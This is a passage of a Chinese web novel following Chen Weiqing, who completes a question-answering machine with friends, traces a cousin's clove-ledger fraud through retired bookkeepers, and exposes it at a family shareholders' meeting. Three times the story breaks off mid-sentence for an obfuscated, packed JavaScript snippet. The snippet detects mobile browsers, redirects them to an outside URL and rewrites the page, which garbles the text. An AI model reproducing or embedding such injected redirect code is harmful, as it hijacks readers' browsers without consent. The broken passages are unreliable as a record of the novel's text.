“人不是生下来就等着认输的，对吧？……不是生下来就等着被打倒的。只要还能站起来，就还可以再来一遍。” 婉芝一反常态的没有接话，只是看着她，嘴角的笑微微顿了一下。 “蔚青，”她像是迟疑了很久，终于低声说，“我要走了。” “……什么？”蔚青仿佛没听清。 “我要去法国。你还记得吧？月底就走。” 风忽然停了一拍。 蔚青看着她，过了很久，嘴角慢慢扯出一个笑来：“当然记得……恭喜你。” “祝你一路顺风。” 她的声音轻得像羽毛，微微颤着。 婉芝握紧了她的手，像小时候在偷偷拉她从家里跑出来那样。 “你要照顾好自己。”婉芝说，“陈蔚青，你比你以为的要强得多。” 她没有回答，只是轻轻点了点头。眼睛里有光，一如从前，但那光不是太阳，而是冬天夜里屋檐下那一点点不灭的火。 风又吹起来了，远处是江上客船的鸣笛声，像是一场迟来的告别。 28. 去做 盛夏的阳光落在陈宅的回廊上，连瓦缝间都透出一丝不耐烦的热意。蝉声在枝头连绵不绝，像是一种不眠的提醒。 叔父已经接管陈家的生意个把月了，看上去一切都四平八稳，但陈蔚青知道他在尝试用一切手段抹去母亲的痕迹。 黎婉芝也已离开多时。前些日子，她才收到婉芝从法国寄来的第一封信，纸张上还带着船舱潮湿的痕迹。那信是婉芝刚刚下船时写的，字里行间都是对未来的好奇与雀跃，而她读它时，已与那些情绪隔了好几个缓慢而沉闷的月亮。 此刻，陈蔚青坐在母亲床边，掌心托着一只瓷碗，低头轻吹着药面浮起的热气。唐敬微斜倚在枕上，脸色依旧苍白，却不再像早前那样严重。窗外的风掀起窗纱，日光斑驳地照进来，她缓缓睁眼，凝视着女儿，忽然开口：“你不该一直围着我转。” 蔚青一愣，像是没有反应过来。她将瓷碗搁在一旁，自嘲地笑了一下：“我能有什么别的事呢？” 母亲望着她，那眼神没有丝毫波澜，却比病重之前更有神：“你自己知道的。” 蔚青低下头，几乎微不可见地点了点头。 陈蔚青再次踏进锅炉房时，阳光正从高处斜斜落下，透过老旧屋顶的木格和缝隙，将光影斑驳地洒在地板上。 空气中仍带着潮热的铁锈味，还有些许焦油混着煤灰的味道，像一封尚未寄出的旧信，满满当当写着她从前的日子。她走过那张她曾经用的桌子，手掌在栏杆上一滑，落下一层浮灰。 机器就静静地躺在那里。 那机器比她想象的大一圈，占了锅炉房角落的整整一张操作台那么宽。外壳是浅褐色的木纹，有些地方还能看到钉子钉入时的痕迹。上面排列着整整齐齐的一排按键。靠近输出区的，是一台改造过的打字机组件：击键杆早已不再用于人手敲击，而是接入了一组经过设计的电磁推杆，每根连杆上都编号清晰，只待信号触发。中央的逻辑电路由一整块玻璃板盖住，底下密密麻麻地排列着金属触片和小型继电开关，像是某种静静潜伏的经络。旁边的轨道上放着一张可能是测试用的打孔的长条纸带。 “每张卡的打孔代表一个布尔变项的取值，按你设定的第几个问题，它就会运算逻辑电路，打字模块来输出回答。”沈时砚突然出现在她身后，声音里不带一丝惊讶，像是早就知道她会来。 她转过身，看到沈时砚倚在墙边，一身皱巴巴的白衬衣，袖口卷到手肘，发尾被汗水打湿。他眼神中带着倦意，但更多的是一种久别重逢的放心。 陈蔚青忽然觉得喉咙有点发紧：“这是…成品？” “当然，我们的成品。”他笑了一下，又低头看着那台机器，眼神像在看一件活物，“我们测试过几轮了，按你设计的输入输出逻辑，能连着运转不出错三十次。你想不到吧，它真能‘回答问题’。” 她没说话，只走过去，轻轻抚过机器的表面。那种沉甸甸的存在感，让她忽然像是被什么稳稳接住了。 身后忽然传来一阵急促的脚步声。 “蔚青姐！！” 一个声音带着夏日的风扑了进来，下一刻，罗简扑进她怀里，整个人挂在她肩膀上，笑得像刚从阳光下跳进水里。 “你终于回来了！你要是再不来，我就把这台机器当枕头睡了！”她笑嘻嘻地说，身上带着新洗棉布的香气。 陈蔚青被她撞得一个趔趄，却没推开，只是愣愣地笑着回抱了一下。她已经太久没这样被人毫无保留地亲近过了。 “我还在练字哦，”罗简骄傲地抬起下巴，眼睛亮晶晶的，“我都快抄完一整本字了！哥哥说，我要再努力点，就可以考科举当状元了！” “那你不是得等清朝回来吗？”沈时砚在旁边打趣。 罗简撇撇嘴：“他胡说八道，我才不考那个，我要当记者！你们都做机器，我就用它写报道，把你们的发明登上报纸！”说完，她还挥舞了一下手臂，像是在街头演讲。 这时，罗炽南也走进来了，倚着门边，没说话，只是低头看着那台机器，嘴角淡淡地扬起一点弧度。 他终于开口，声音不轻不重，“你们真做出来了。” 陈蔚青看着他，眨了眨眼，纠正他，语气很平静：“我们。” 罗炽南笑着“哼”了一声，没回答，只是抬脚走到机器旁边，像在打量一头沉睡的兽。他伸出手指在木壳表面轻敲了一下，那声“咚”的回响清脆又厚重。 “挺像回事。”他说，“我们——还挺厉害。” 锅炉房里安静了一瞬，只有窗外蝉声不依不饶地响着。陈蔚青环视着他们三人，觉得像做梦一样。这一刻，她突然意识到，那些散乱的拼图终于拼成了完整的一角，而她正站在图画的正中央。 “谢谢你们。”她轻声说，声音不大，却稳稳落在每个人耳里。 这时，机器的打字组件“哒”的一声轻响，像是无声参与了他们的对话。 纸带还在缓缓吐出最后一段空白，沈时砚低头将它抽出，抖了抖，递到她面前：“你看看，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586907|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的成果。” 陈蔚青接过来，只见纸上用打字机印着一行字，字迹略显歪斜，却清晰有力——只有两个字： “去做。” 她盯着那两个字愣了一下，片刻后忍不住轻轻笑出声来。 那是她亲手设计的逻辑结构，她当然知道它会给出怎样的回答。可当那答案真正从一台机器里跳出来，冷冰冰地落在纸面上时，却像是某种突如其来的允诺——简单、直接，却掷地有声。 “你们……问了什么？”她抬起头，眼神在沈时砚和罗简之间游移。 “我问——要不要把蔚青姐从宅子里抓出来！”罗简抢先开口，笑得一脸调皮，在故意逗她。 沈时砚在一旁轻笑：“别听她瞎说。只是测试逻辑模块而已。” 陈蔚青垂下眼，指腹轻轻摩挲着纸带边缘，纸上那两个字还带着微温。她没立刻说话，良久，她低声笑了一下，仿佛只是自言自语：“它好像……真的在回应我一样。” “……对了，”她低头思索，眉心微微蹙起，像是有个念头刚刚浮现，尚未成形，“账房的张伯，以前跟你们沈家来往密切…你最近有见过吗？” “张伯？没有啊。”沈时砚回忆了一下，摇头，“你母亲病倒以后，好几个老先生都辞了。他好像是最早一个，走得很安静。” “我记得。”她轻声说，手指无意识地捻着纸带边缘，“但他是母亲亲自留下的第一个人。” 这句话一出口，她眼里像是悄悄浮现了一丝清晰的焦点。沈时砚闻言，目光一动，像是隐约捕捉到了什么，迟疑片刻，问：“你想——？” 她没有立刻回答，只是眼神在某个点上定住了一会儿，然后缓缓开口，声音低得像是刚刚落地的念头：“母亲病后，家里的许多人不是主动离开的，而是被请走的、被推走的。” 她说得极慢，像是在将脑海里那些断裂的线一点点接上：“可他们不是无用了，只是没有人愿意再去听他们说话。” 她抬起头，眼里有一丝极浅的光，像是刚刚在水下睁开眼的人，看到了什么：“那我去听。” “我一个个找回来。”她的语气已经稳了下来，仿佛某种尚未命名的意志正在她胸口扎根。 “既然他们觉得我不懂，”她说，“那我就请母亲留下的每一个旧人，重新教我一遍。” “从账开始，从人开始。”她望向窗外，蝉声不止，天色正浓，光线热烈而清晰。 “从我母亲曾经站过的位置，重新站一次。” 29. 南昌隆 仲夏时节，陈宅后院的紫薇花开得正浓，几枝探出墙头，在风里晃得恍恍惚惚，像是有什么沉默的过往，正悄悄从树影间露出头来。 这几日，陈蔚青频繁外出，一日走访一人——不是登门寒暄亲戚，也不是往来交际宾客，而是些曾在陈家账房、货行中做了几十年事的老人。有人早已离职，有人如今只在外间帮人算个小账，甚至还有人连家人都不太愿意让他们出门说话。但蔚青找上门去时，他们全都请她进了屋。 她没有声张，更未告诉母亲。只对旁人说，是想把旧账理理清楚，权当积累经验，以备来日之需。 这日，她坐在一处屋檐低矮的茶棚下，对面是年近六旬、眉眼仍算清朗的账房先生邱伯。他曾是母亲麾下账房的头一把手，如今守着街口一间杂货铺，看账理货，话不多。 “我记得你，”邱伯捧着茶盏，眼神透过热气落在她脸上，带着一点年长者惯有的慈祥回忆，“你小时候总爱蹲我桌边，写得快一点你还要跟着数。那会儿你娘还打趣说，‘若是个儿子就好了’。” “那时候我也以为，只有儿子才可以看账。”蔚青淡淡一笑，抬起眼，“但现在想想，也没什么道理。” 邱伯一怔，像没料到她会这么接，笑容顿了顿。 “你这次来，是想知道你母亲当年怎么理账的？”他语气变得审慎，像是在探她口风。 “我想知道的，不止是她怎么理账。”蔚青声音不高，却清晰，“我也想知道，那些账，现在是不是还跟她那时候一样。” 邱伯手指顿了顿，盯着她看了几秒，才慢慢放下茶盏：“这些年换过几轮账本。说是太旧、不规范，得统一誊抄。账是那些账，人嘛……也就听吩咐办事。” 蔚青看着他，语气不动声色：“可你记得原来的账长什么样，对吧？” 这一次，对方没立刻回答。两人之间沉默了一会儿，才听见他低声说：“有人记得。有一回，有人悄悄问了，说誊得不对。你父亲那时候说他不管这些，要我们也别声张。后来，那人就被调去了外头打杂——你也知道，‘调去别处’是什么意思。” “然后没人再问了？”她问。 他望着她，不再用年长者的口气，缓缓点头：“没人敢问。” 蔚青低头看了看自己手边的笔记本，随手将它合上，然后抬头看向他，眼神不再回避：“那我就去问。” 邱伯盯着她看了一会儿，终究还是轻轻摇了摇头，声音低下去了一点，像是喃喃自语，又像是在提醒她：“你问了，你做不了什么，有何用？” 风穿过茶棚，卷起她膝上的纸页角，她没立刻回答，只是静静地站起身，动作轻得几乎没有声音。脚下是晒裂的青石地砖，阳光斜斜洒在她半边脸上，将她的神色衬得沉而不暗。 她笑了一下，眼角弯起一点微不可察的弧度，没有言语，也没看他，仿佛只是看着前方，却又像是在对他说。 那笑容里不带半点鲁莽和倔强，只是一种令人无从反驳的笃定——一种“您看好了吧”的静默挑衅。 她转身走出两步，刚踏出门槛，身后忽然传来邱伯的声音：“其实你和她挺像的。” 陈蔚青脚步一顿。 “敬微，你母亲。”他慢吞吞地说，像是在往一处被藏得很久的地方投石子，那句话普通一声，落下，溅起一点点水花，“不知道为什么你们母女俩都喜欢说你们不像。” 她没有回头，只轻轻低了一下头，像是点头，又像是笑了一下。 然后她走了，身影在夏日阳光里被拉得长长的，某种已然注定的对抗，正一步一步走向它的起点。 陈蔚青坐在账房西窗下的长案前，蝉声自窗外穿进来，像是一根细细的针线，从她的耳膜慢慢穿入脑中，一下、一下，绣着一种沉默又逼人的刺痛。 账本摊在眼前，她拿着笔记本。手里握着笔，却迟迟没有落下。 这几日，她说是要帮母亲分忧，主动开口接过了几项月度账目的整理。她语气不紧不慢，像是随口一提。堂兄陈闻礼当时愣了一瞬，随后含笑点头：“蔚青有心自然好，若能帮上忙，是再好不过。” 说着话时，他的眼神像一面上了漆的铜镜，看得见人影，却映不出心。 第一本翻开，是香料的入库账。 她本没想着从这本开始，毕竟香料种类太杂、核算麻烦，不如从工本开支下手来得清楚。可那日随手翻着，指尖却在“丁香”那一栏轻轻一顿。 入库：一千二百斤。 出货：一千一百五十斤。 库存结余：五十斤。 她眉头一挑，本没觉得异样。五十斤，做香料生意，这种浮动很正常。 可等她翻到上月时，手指忽然慢了半拍。 入库：一千三百斤。 出货：一千二百五十斤。 库存结余：五十斤。 她盯着那“五十”看了一瞬，没说什么，又往前翻了三页、五页、七页——每一页都像按着同一个模子刻出来似的：损耗固定为五十斤，好几个月，无一差错。 她的手顿在账页上，纸页边缘略有卷起，刮过指腹，像是细小的刺。 那一刻，她听见自己心里“咯噔”一声，仿佛某个原本悬而未决的东西，忽然重重落地。 忽然，一道熟悉的脚步声响起。 “你在翻哪一本？”堂兄的声音从门口传来，温和，规矩。 她回过头，声音很轻：“香料入账的那几本。” 陈闻礼的步子顿了一下，继而又走近几步，站到她身后。 他低头扫了一眼账册，语气不变：“这些账都是统一过的，新写的，方便对账。你若是想看香料的事，不如先从月结和往来账看起，入库那几本太旧了。” “可是这些是你亲手交给我的。”她抬头看他，语气淡得像是在陈述天气。 “是啊，我想着你也不会细看这些。”他笑了一下，“不过也好，随你。” 说完这句，他便不再多言，只是站在她身后，目光落在纸页上。 他不会真的阻止她。她是陈家小姐，她不是账房学徒，他既不能赶她走，也不能把话说死。 ——但这就说明，这个账本，真的有问题。 她忽然想起十几年前的某个下午。 她还太小，蹲在母亲身边看账，刚刚学会了数字。屋里熏着龙脑香，烟雾缭绕。她问母亲：“为什么这些数字总是不一样呢？” 唐敬微放下笔，笑着说：“这种东西哪能每次都一样了？如果每次都一样，那不是账，是诗，写给鬼看的。” 那时她不懂，只觉得好玩。而现在，那句话像是一把锈了的钥匙，咔哒一声，拧开了她眼前这本账册的锁。 她好像又闻到龙脑香的味道，低头，把那一串连着几月的“五十”抄进笔记本里，一笔一画，字迹沉稳。 她重新抬头。继续翻阅账本。 本月，账面写：入库一千二百斤。 仓库的香料记录加起来，实际到货却只有一千一百二十斤。 差的80斤，消失无声。 她接着查调拨单，发现这批“补上”的80斤，来源是一个她从未见过的名字：“南昌隆贸易行”。 出货单——客户收到的是“特选A等新丁香”，单价比往常贵了整整一成。 她心口倏地一紧。仓库主管跟她说过：“这一批丁香，前几袋还行，后面那几袋……味淡，压锅压不出香来。” 她回头翻查这批出货去向，目光落在几行字上： 收货人：黄宅内眷 品项：丁香上品（二级分装） 批次：本月第十七、十八号入库袋 数量：50斤 出库人签名：黄青云 备注：应急调拨，急件 她怔住了。 黄家，是调香世家，祖上三代制香，家中香坊有名远近。 尤其那位黄太太——母亲生前亲自接待过多次，说她连香灰落地的形态都能一眼辨别。每回出货都要用“压锅头袋”里的头三袋，因其香气最纯、最沉稳。那几袋香之后再用，便已逊色。 可这次，她收到的，是入库最晚的“尾料”。 “为什么？” 她一字一顿低声问自己，声音压得很低，像是怕站在后面的堂兄听到了。 “为什么头袋香留着不用，偏偏给最挑剔的客户发仓底尾？” 这一点，不合逻辑，甚至……危险。 她脑中闪过另一个人。 ——黄家二小姐，正是堂兄陈闻礼的未婚妻。 她在笔记本上记下，“黄太太，批次：本月第十七、十八号入库袋”简短的一行字，坐直了身体，手指在桌面上轻轻叩着，一阵仿佛不是盛夏的寒意从骨缝里升起来。 她缓缓站起身，回头正好对上堂兄的目光。堂兄已经退后几步，转身要走，似乎不愿继续站在她身后那道光与影交界的地带。 她望着他离开的背影，她没有说话，只将那本账册合上，轻轻地扣在桌上，像扣住一枚火种。 仲夏将尽，陈宅账房后那棵老香樟树落下一地叶子，枝叶簌簌响着，像是旧时光的低语。 陈蔚青拎着小包，沿着后院的石板小径一路走来。她穿得不甚讲究，一件白色的衬衫略有些褶皱。可她的眼神却比任何时候都清醒，目光落在前方，步子不紧不慢，在踏进一场自己的战场。 她推门而入时，账房里只有几位老先生在埋头翻账，一见她进来，几人俱是一愣，有人站起身，客气地叫了声：“蔚青小姐。” 她一一点头，又朝最里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597423|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头一位白须老者躬了躬身：“王伯，我来是想请教一件事。” 这位王伯，是陈宅账房里的老人了，年少时是早已去世的陈老爷的伴读，后来又是唐敬微重用，名下掌过四个货号，是账房里话语权最重的人物之一。可母亲病倒后，他就“自请退休”，如今只偶尔来账房坐坐，鲜少过问具体事务。 王伯抬头看着她，目光沉静：“你要问账？” “是。”她坦然道，“不是为了争权，是我想知道……母亲她过去，是怎么掌起整个陈家的。” 一瞬的寂静后，王伯缓缓点头：“你是陈家出来的血脉，唐敬微的女儿，要知道这些，也该有人讲给你听。” 那天她坐在账房听了整整一个下午，她像海绵一样吸收着这些原本属于她母亲的东西。 第二日、第三日，她又去找了其他几位老账房、库房管事、出货老工头，每一位，她都认真听，不抢话，也不争论，只在适当的时候问一句：“那现在这些流程，是不是也还这么做的？” 几位老人起初只是迟疑，到后来，竟开始主动告诉她：“那几年你母亲盯得紧，进货都要亲自过手的……” “现在是你堂哥陈闻礼说了算，流程虽然一样，可没人真盯。” “你要是接回来，我们这些老骨头，还能帮你看看。” 自那以后，消息像是水中的墨一样悄悄晕开，整个陈家开始染上微弱的“陈蔚青色”。 翌日清晨，天色微亮，陈蔚青便起了身，未惊动任何人，独自穿过内院，去了仓库后院的旧香料库。 守库的老仓头姓许，原是母亲当年一手提拔的人，近年却因“眼花手慢”被调去闲职。她在门外敲门，许叔打开门，一见是她，先是惊讶，旋即低声道：“小姐这时辰来，可是……” “我想看看近三个月的丁香库存。”她语气平稳，“还有每一批的进货单、入库记录，还有……那批补货香。” 许叔迟疑了一瞬，还是点点头：“好，您请进。” 屋里堆着成排麻袋，一股压人的香料气息扑面而来，辛香中混着微微霉气。她顺着批次号码，从最早入库的一批开始，逐袋察看。 她带了小刀，一刀刀划开麻线封口，蹲下身抓出一小把麻袋里的香料，用鼻尖轻嗅。最前几袋香气浓郁饱满，是陈家一贯用的上等货色，颜色金红发亮。可越往后——第十四袋开始，香气逐渐发涩，第十七、十八袋，气味更是杂乱，甚至混着一丝草叶的腥气。 “这一批……跟前几袋不一样。”她轻声道。 许叔脸色微动，压低声音说：“后头这几袋，是上个月突然调补的，说是主账不够，要补足再出货。是你伯父亲自交代的，说供应急着要。” “供货是谁？” “叫……‘南昌隆’。”他说出这个名字时，眼神里也有些迟疑，“之前没怎么听过。” 她的手指顿在笔记本上“十七、十八号入库袋”上——并无意外的是，这正是气味最淡、品质最劣的那批香。 而黄家人也没有任何表示？以高价买下这种低劣的香料居然一声不吭。 这一连串的错误只有一种可能的解释：那几袋尾货，并不是发错，而是——专门发的。 她猛地站起，动作迅疾得像一道破空的弦。许叔被她惊得一颤：“小姐？” 她没立刻回答，双眼望着眼前那一排编号清晰的麻袋。 “我的母亲说。” 她的声音忽然静下来，几乎带着一点柔和：“若每次都说一样的数字——那不是做生意，是做文章了。” 说罢，她不再看许叔，而是俯身，从那几袋香料里各取出一撮——头袋、中段、尾货。她小心地包起，每一撮都用干净纱布包裹，再一层层细致地叠入棕色小匣，再把小匣放进包里，动作之缓、之沉静，仿佛不是在装香，而是在安置她即将到来的命运。 纱布轻卷的声音像落雪，一声一声裹紧了她的决心。 她的眼神一瞬未离那小小的包裹——那是她的证据，她的匕首，也是她将要放在股东面前、拆穿假象的“秤砣”。 阳光透过半开的木窗落在她背上，她的影子投在仓库厚重的石地板上，仿佛一块沉默的铁印。 她把笔记本合上，手指捏紧纸张边缘。那是一份账，一把刀，也是一场战役的开篇。 她知道，这不是去质问“谁在动账”，也不是去解释“为何损耗”。她要的，是在所有股东、管理层、族人面前，一刀撕开他们自以为固若金汤的表象。 纸糊的假象，再厚也是纸——碰上一点真火，便会烧个精光。 她转过身，踏出香房，身后留下一屋沉香。那一刻她知道，一场真正的翻盘已经悄悄埋下引线——她要的不是一纸控告，而是在众目睽睽之下，一刀割开他们设下的完美包装。 30. 雷雨 八月初五，申时未至，天却已阴沉沉的，像是有雷未落。 陈家大宅西偏楼的议事厅今日格外整肃。厅中陈设一如往日，靠墙摆着紫檀木案，靠北正中悬着一幅“慎独以治家”的墨匾。东侧墙上嵌着洋人股东送来的镀金时钟，分针已走至刻度“VIII”。 这是陈家每季度一次的股东大会，平时由唐敬微主持，自她病倒以来，便由叔父陈叔云代掌主持之权。 今日到场者，除陈家名义上的家主陈仲云，以及如今真正执掌实权的陈叔云、陈闻礼父子外，还有数位陈家多年倚重的老成干员——大多在账房、货行、通商等事务中任职已久，是支撑陈家内务运转的核心人物。 此外，还坐着两位洋行股东代表：一位来自“罗兹洋行”。另一位则是“普里斯特家族”的远亲，与陈家在南洋时期有旧日生意往来。二人皆衣着考究，神色谨慎，那位罗兹洋行的代表中文略显生硬，但好的是交流尚无大碍。 而角落里一个位置还空着，像是有意迟到，正如这场夏天的惊雷一样。 厅中人各据其位。父亲坐在右席，面色不明，指尖不停摩挲着手边的一页文书。叔父居中主位，神情如常，深色长衫搭配西装马甲，眼底不见波澜，仿佛一切尽在掌控中。他身旁的堂兄陈闻礼，已经习惯了这类场合，衣着笔挺，姿态从容，面对众人频频颔首寒暄，嘴角含着一抹分寸拿捏得极好的笑意。 “各位稍候，蔚青小姐应也快到了。”父亲忽然出声，语气温和，却隐隐带了几分迟疑。 叔父笑着接话：“不急。她若要来，自会来。若不来……也不妨。” 他语调不轻不重，一句无意的随口话，却悄悄画出一道边界。几位股东对视一眼，面色各异。 就在此时，大门外传来一阵清脆的脚步声。 不是快步，不是匆忙，而是一种极稳极轻的节奏，仿佛每一步都经过计算。 下一秒，门被仆人推开。 陈蔚青走了进来。 她穿着一身深青色旗袍，剪裁干净，脚步从容。手里只拎着一个素色小布包，一看就知道，沉甸甸的，装着不寻常的东西。 众人不约而同地望向她。 叔父眉梢一动，闻礼的微笑微微收紧，父亲则似有所觉，身子向前倾了倾，仿佛终于要从被动旁观中抽身。 厅中人未言，钟表轻响。 陈蔚青在那个空位落座，轻轻放下手中的布包。她抬眼一望，众人神色尽收眼底——熟稔的，戒备的，漠然的。她心中却无波澜，仿佛这一幕她早已演练无数遍，只等这一刻的“开场锣声”。 “既然人到齐了，”叔父陈叔云微笑开口，举手示意账房呈上报表，“我们照例，先说上季账目。” 账房几名年轻伙计躬身上前，将厚厚几叠账本、报表依次分发至各股东席前，香签还带着烫印痕迹，散出微微油墨气味。 “本季香料出口较前一季略升八点四，尤其是特级丁香出货数破历史记录。”堂兄陈闻礼接过话头，笑道，“我们在三月确立了南昌隆为新合作方以来，货路顺畅、运价平稳，利润也有所回升。” 他话音一落，罗兹洋行代表的布鲁克先生点头附和，用半生不熟的中文慢吞吞说：“Yes，这个合作，是……wisedecision，wisedecision。” 股东席一时间一片附和之声，气氛稳稳朝“会议例行结束”那个熟悉方向推进。 陈闻礼翻开下一页报表，话锋一转：“此外，下季度我们打算扩大与‘南昌隆’的合作。对方愿意提供长期低价供货合同，且愿承担部分运输成本。” “从财务角度看，这无疑是稳中求进的策略。”他说得不疾不徐，语气带着成竹在胸的平稳自信，“这一点，我想在座几位洋行代表，也都会认同。” 布鲁克先生笑着点头，普里斯特家族的那位代表则只是微微一耸眉，似是听懂了，又似还在咀嚼言语背后的含义。 堂兄话音刚落，厅中忽然传来一声轻咳。 众人循声望去。 是王伯。那位久居幕后、被视作“已退之人”的账房老先生，是王伯——那位久居幕后、被视作“已退之人”的账房老先生。原本今日并无他出席之份，然而因陈家现任账事主理以“身染微恙”为由请辞席位，便由王伯代为赴会。他手里不紧不慢地翻着一本旧账，目光落在账页上，语气却极平静地道：“‘南昌隆’这行，我听都没听过。” 这句话说得不重，却像一颗石子落入平静的湖面。 厅中顿时微微一静。 陈闻礼笑容未变，微一颔首道：“王伯年岁大了，未必听过这几年新起的行号也是常情。况且我们与他们目前合作顺利，未有一事失误。” “哦？”王伯手指摩挲着账页，头也不抬，“未有一事失误？” 他抬起眼，望向闻礼，语气仍旧平和，“可我记得老陈家规矩，供货商起用，须有两人担保、账房监核，方能录入主账。此例，改了吗？” 闻礼微不可察地顿了顿，片刻后缓声道：“眼下局势不同，老规矩未必合时。” 陈蔚青却缓缓站起，语调清冷如霜：“未必合时，还是未必合你所需？” 她先看了一眼王伯，眼神里有一丝笃定的致意。然后，她转向全场。陈叔云此时终于抬眼，看向她，好像再看一个从没见过的陌生人。 “诸位，我并无冒犯之意。”她站起身来，轻巧地将布包缓缓推至桌中央。 “只是既然谈到‘合作方’，我想补交一份资料，供诸位参考。” 她眼神在场中一扫，落定在洋行两位代表身上，语气忽然变得极其沉静而清晰，语调也刻意放缓，像是怕他们听不懂一样：“——因为，这批货里，出了问题。” 她话音落下，厅中一瞬鸦雀无声。窗外突然一道惊雷划过，然后下起瓢泼大雨来。 陈叔云眉头微皱，神情未变，只缓缓吐出一个字：“蔚——” 他尚未出口第二个字，父亲陈仲云忽然出声打断：“我倒是认为，听听也无妨。” 声音不大，却稳稳地盖过了叔父的话。 陈叔云转头，第一次露出明显的错愕，盯着自己这个一向不管事的兄长。他眯了眯眼，声音压得极低，像蛇信穿过牙缝：“你这个……靠女人的软蛋，倒真是会藏牌。以前靠敬微，如今敬微倒了，又靠起女儿来了？” 陈仲云不动声色地回望他：“我不太明白你在说什么。” “你当然不懂。”陈叔云几乎咬牙，声音仍低，“我才是最像大哥的人。你不过是个只会写诗写情书、在洋行送酒瓶子的浪荡子——你还真以为陈家是传给你的？要不是大哥意外早逝，你怎么能坐在这里？” 陈闻礼听到这话，神情一震，似想拦，未能及时开口。陈蔚青却轻咳一声，打断两人。 她声音不大，语调却稳稳地插入了空气之中，划开这一场家族内部的龌龊纷争：“伯父，还请自重。” 她抬眼，眼神冷静：“股东大会，是议事之地，不是陈家长辈的比高会场。” “再者，若真要比，我还真不怕丢这个脸。” 她站得笔直，语调平稳，却带着一种极锋锐的棱角，一字一句都不带火气，却胜似火焰。 “因为我敢把账摊开了讲。” 她扫视众人：“而不是藏在香料袋底下，让别人去替你们吃亏。” 雨声越来越大，所有人都望向那个站在桌前的年轻女子。 陈蔚青轻轻拉开那只素布小包，指尖极稳，像是演练过无数遍的动作。 她先抽出一张油纸包好的账页，平铺在桌面上，压角用的是陈家账房专用的墨玉镇纸。 “这是过去三个月，丁香入库与出货的账目。”她语气平静，“账上写着每月固定结余五十斤损耗，各位可以看看。” 她指了指最上面的一行： 入库：1200斤，出货：1150斤，结余：50斤。 “这样的记录，从四月、五月、六月——一直到上周，都是一模一样。”她翻开下一页，指尖落在那一串整齐得近乎机械的数字上，“每一次损耗，都是‘刚刚好’的五十斤。” 她抬头看了一眼众人： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601685|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可香料不是别的，每批的运输路程、仓储温度、入库时间都不同——真正经验老到的香商都知道，哪有这么一致的‘损耗’？” 陈叔云沉声开口：“你一个小姑娘，懂什么叫损耗？账房有专人核对，自有流程——” “那我便讲流程。”她几乎是接着他的话落下，一点缝隙都不留。 她从包中抽出第二张文件：“这是一份库房实录，由仓库许叔亲手签字记录。记录显示：那批标注为‘1200斤入库’的丁香，实到——1120斤。” 厅中一静。 她把文件递过去，由人一一传看。 “差了八十斤。”她继续，“可账面却写着‘1200’。这八十斤从哪来？” 她微笑了一下，从包中取出第三份单据：“这是一份‘补货调拨单’。补货来源：南昌隆贸易行。” 她将这张单据与账本重叠摆好，又轻轻打开了随包带来的一只纸袋，取出几小包香料，一一排在众人面前。 “这些，是我亲自从仓库每批香料袋中抽取的样本。请各位试闻。” 布鲁克先生小心地打开一袋，用手指沾了少许香末放在鼻尖，略一嗅，便露出疑色：“ Thisis,undoubtedlyadefectiveproduct.” “次焙货。”普里斯特家的代表慢慢补了一句，语调含糊，却带着不易察觉的嘲意，“下脚料。” 陈叔云脸色开始变了。 “蔚青，你这是——” “我还没说完。”她打断他，神色淡淡。 “我本以为，这只是南昌隆偷工减料，可后来我发现——这‘低等货’并非用于普通渠道。”她抬头，一字一顿地说：“它被发给了陈家的老客户——黄太太。” 此言一出，陈闻礼脸色唰地一白。 “黄太太的‘极品丁香’一向由我们最早入库的头香‘压锅’制成。”她语速忽然加快，“可这次，她所收那批丁香，在仓库登记里，是‘第十七、十八批次’——也就是最晚入库，品质最劣、香味最淡的那批。” “为什么要把最次的香，发给最挑剔的老客户？” 她看向陈闻礼，语气平静，“黄家是你未婚妻那边的亲戚，这批货，是你亲自安排发出的。” 陈闻礼强撑着镇定：“这只是调货上的误差——” “你亲自盖的章，我手里有副本。”她抬手，啪地一声，将一份盖有陈闻礼私章的货调批文摊在桌上。 “你以‘补货名义’引入劣货，混入出货，再以新供应商之名虚高价格，回流账外货款。损耗从未存在——它只是你隐匿货差、私设阴账的遮羞布。” 她语调陡转，目光凌厉如刀：“你们打着‘稳中求进’的名头，把陈家百年声誉当成你自己圈钱的跳板——你可知道，一旦被查，我们将无法再向南洋输出任何一批香料？” 全场死寂。 那位布鲁克先生慢慢放下香包，轻轻说了句：“Thisis...serious.” 陈叔云猛然起身，喝道：“你胡说！你一个黄毛丫头，也敢在这放肆污蔑——” “那就请叔父解释。”她转头，淡淡道，“为何账目上的‘审查批文’，都是以您的名义批下的？” 话音一落，桌上的几份文件又被推到众人面前。 